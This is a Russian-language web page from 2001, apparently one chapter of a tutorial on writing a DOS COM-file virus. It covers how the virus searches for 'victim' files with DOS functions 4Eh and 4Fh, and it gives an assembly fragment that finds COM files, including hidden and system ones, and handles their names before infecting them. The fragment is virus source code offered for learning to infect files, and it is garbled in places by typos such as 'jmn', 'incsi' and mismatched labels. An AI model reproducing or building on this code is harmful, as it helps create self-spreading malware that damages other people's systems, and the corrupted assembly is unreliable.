Небесные боги,приветствуют вас!Небесные боги,приветствуют вас!








1.9 Ищем подходящий файл Теперь самое время заняться поиском файла для заражения.Для поиска файла - жертвы мы будем использовать пару функций DOS : 4Eh ( поиск первого файла ) и 4Fh ( поиск следующего файла ) . При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение . Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям.Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh .
А теперь приведем программный фрагмент, выполняющий поиск файла :

find_first:  
 mov ah,4eh;Поиск первого
  ;файла...
 mov cx, 00100111ob;archive, system
  ;hidden
 lea dx, mask;Маска для поиска
 int 21h 
 jnc r_3;Нашли !
 jmp restore_dte;Ошибка !
   
find_next:mov ah,3eh;Закроем непод-
 int 21h;ходяший файл...
 jnc r_2 
 jmn restore dta;Файл нельзя за-
  :крыть....
r_2:mov ah,4fh;И найдем сле-
 int 21h;дующий....
 jnc r_3;Файл найден!!!
 jmp restore_dta;Ошибка
   
r_3mov cx,12;Сотрем в буфере
 lea si, fn;"fn" имя пред-
destroy_ name: ;ыдущего файла
 mov byte ptr [si],0;
 incsi;
 loop destroy_name;Цикл 12 раз....
 xor si,si;И запишем в бу-
copy_name:mov al, byte ptr cs:[si+9eh] 
 cmp al,0;фер имя только
 je open;Что найденного файла
 mov byte ptr ds:fn [si].al;В конце в имени в
 inc si;DTA всегда стоит ноль
 jmp copy_name;его мы и хотим достичь


Имя файла в буфере " fn " необходимо стирать вот почему .Например, первым был найден файл COMMAND. COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл.Пусть это будет WIN. COM .Его имя запишется в область " fn ",и она примет вид : WINMAND.COM. Такого файла на диске, скорее всего,нет;если же попробовать к нему обратиться,это вызовет ошибку,и вирус закончит работу.Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку " restore_dta " . Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало .

Сайт разработан и поддерживается
by MAXIMUS в 2001г. По вопросам
размещения рекламы обращаться
maximus@runet.com



Hosted by uCoz